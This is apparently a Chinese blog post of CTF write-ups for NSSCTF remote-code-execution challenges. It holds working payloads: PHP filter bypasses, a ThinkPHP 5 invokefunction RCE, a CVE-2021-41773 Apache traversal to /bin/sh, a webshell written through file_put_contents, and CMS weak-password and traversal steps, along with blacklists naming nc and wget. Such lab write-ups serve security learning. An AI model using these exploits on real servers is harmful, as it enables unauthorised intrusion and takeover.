NSSCTF RCE模块

文章目录

  • [SWPUCTF 2021 新生赛]hardrce
  • [SWPUCTF 2022 新生赛]ez_rce
  • [SWPUCTF 2021 新生赛]finalrce
  • [NISACTF 2022]middlerce
  • [SWPUCTF 2021 新生赛]hardrce_3
  • [UUCTF 2022 新生赛]ez_rce
  • [NSSRound#4 SWPU]ez_rce
  • [GKCTF 2021]easycms
    • 目录穿越
    • 任意文件读取


[SWPUCTF 2021 新生赛]hardrce


header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

取反绕过即可,采用system函数执行命令
比如想要执行eval(system(ls))
采用脚本取反

得到:%8C%86%8C%8B%9A%92
同理ls取反后得到:%93%8C
写入时:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);


$code1="system";
$code2="ls /";
echo "
"
; echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");"; ?> ?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

NSSCTF RCE模块_第1张图片

然后再cat 就可以了。

NSSCTF RCE模块_第2张图片


[SWPUCTF 2022 新生赛]ez_rce

源码里什么都没有,查备份文件
robots.txt

NSSCTF RCE模块_第3张图片

访问/NSS/index.php/

NSSCTF RCE模块_第4张图片

搜一下ThinkPHP V5漏洞,去看看怎么利用这个漏洞

利用方法:
http://node2.anna.nssctf.cn:28507/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

NSSCTF RCE模块_第5张图片

可是直接 cat /flag 或者cat /flag/flag,都不对
用到命令 find / -name flag*这样就可以找到很多层的目录,然后cat就行或者,不过有时候find命令不是很灵。
直接cat $(find / -name flag)也可以
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)


[SWPUCTF 2021 新生赛]finalrce


highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

过滤了很多东西,但是管道符没有过滤,用到了Linux的tee命令,用tee命令把想要执行的命令写进一个文档里面,再去访问这个文件就可以执行命令了。
payload:
?url=l\s / | tee 1.txt 再访问1.txt
NSSCTF RCE模块_第6张图片
a_here_is_a_f1ag里面没有flag。
?url=tac /flllll\aaaaaaggggggg | tee 2.txt


[NISACTF 2022]middlerce

NSSCTF RCE模块_第7张图片
这里过滤了很多东西,这里取反绕过和异或绕过都不行。
只能用正则最大回溯绕过,正则回溯超过100万次就会返回false,具体看P神的文章。

json_decode的话,就要把command进行json格式化,[‘cmd’]表示JSON中"cmd"键对应的值。
$txw4ever是一个包含JSON数据的字符串,json_decode函数将其解码为一个关联数组,并将其赋值给$command变量,其中$command[‘cmd’]表示JSON中"cmd"键对应的值。

checkdata对一些字符串进行过滤,但是又不知道是什么

eval执行命令,但是没有echo就没有回显,用?>把前面的PHP标签进行闭合,再写一个PHP代码用来执行echo。

相当于对的替换,而则是相当于。写法需要开启short_open_tag,则是默认开启。

import requests
url = "http://node4.anna.nssctf.cn:28607/"
data='{"cmd":"?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)

在这里插入图片描述


[SWPUCTF 2021 新生赛]hardrce_3

NSSCTF RCE模块_第8张图片
无数字和字母RCE,这里异或和取反都用不了
这里参考这篇P神的文章里的方法三

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

这里相当于是 ASSERT($_POST[_]);
这里还要URL编码再上传
NSSCTF RCE模块_第9张图片
成功绕过

NSSCTF RCE模块_第10张图片
可以执行命令,但是system,exec,shell_exec,popen,proc_open,passthru这些都用不了。

NSSCTF RCE模块_第11张图片
用到file_put_contents函数来写入木马
_=file_put_contents("2.php","");
这里的$符号前必须加\,这才是linux正确的写马方式,如果是
输出只有,加 \ 代表转义。
蚁剑连接就得flag。
NSSCTF RCE模块_第12张图片


[UUCTF 2022 新生赛]ez_rce

居然都不输入参数,可恶!!!!!!!!!


## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '
'
; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }

我的第一个想法是取反绕过,因为过滤了很多字符,但是没有过滤~

NSSCTF RCE模块_第13张图片
但是不能用。
又不能用system什么的函数,但是没有过滤printf,也没有过滤反引号。
所以payload就是?code=printf(`c\at /fffffffffflagafag`);


[NSSRound#4 SWPU]ez_rce

NSSCTF RCE模块_第14张图片
标签说是CVE-2021-41773(Apache HTTP Server路径穿越漏洞),现搜学习了一下
BP抓包,改为POST形式传入下面的payload
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

NSSCTF RCE模块_第15张图片
输入echo;ls /
NSSCTF RCE模块_第16张图片
echo;cat /run.sh
NSSCTF RCE模块_第17张图片
echo;cat /flag_is_here/2/0/7/6/flag

NSSCTF RCE模块_第18张图片


[GKCTF 2021]easycms

一道easy的渗透题,这道题的漏洞点挺多的。
打开题目页,页面左下角有个蝉知7.7
NSSCTF RCE模块_第19张图片

搜一下蝉知7.7,浅浅的看了一下和题目还挺像的。

NSSCTF RCE模块_第20张图片

标签说是RCE、目录穿越,题目给的页面没有什么有用的信息
扫一下目录,用dirsearch扫有点慢就换成了御剑

NSSCTF RCE模块_第21张图片

访问admin.php

NSSCTF RCE模块_第22张图片

弱口令admin/12345,还可以用BrupSuite来爆破

目录穿越

然后找到设计->主题->随便一个模板->自定义

NSSCTF RCE模块_第23张图片

这个地方页头是可以进行编辑的。这里随便写然后保存

NSSCTF RCE模块_第24张图片

然后找到设计->组件->素材库这里有一个文件上传的点

NSSCTF RCE模块_第25张图片
这里随便上传一个txt文件,然后进行编辑

NSSCTF RCE模块_第26张图片
NSSCTF RCE模块_第27张图片

改成上面这个样子 ../../../../../system/tmp/rioq,就是刚刚爆出来的绝对路径去掉后缀,然后保存。
再回到刚刚的地方

NSSCTF RCE模块_第28张图片

保存后点击可视化编辑

NSSCTF RCE模块_第29张图片
试试看

NSSCTF RCE模块_第30张图片

最后就是cat /flag就出来了
还有另一个就是跟前面搜的博客里的方法一样,也是目录穿越,在设计->高级这个地方也可以插入恶意代码。

任意文件读取

这个是比较多人写的。
就是是找设计->主题->随便一个模板->自定义->导出模板->保存
NSSCTF RCE模块_第31张图片
这里疑似是任意文件读取,抓个包
NSSCTF RCE模块_第32张图片
这一抓不到这样的包的话,就Forward一次。
base64解码得/var/www/html/system/tmp/theme/default/sb.zip
下载文件的绝对路径,把路径换成 /flag
NSSCTF RCE模块_第33张图片
NSSCTF RCE模块_第34张图片
拿下。

你可能感兴趣的:(php,web安全,网络安全)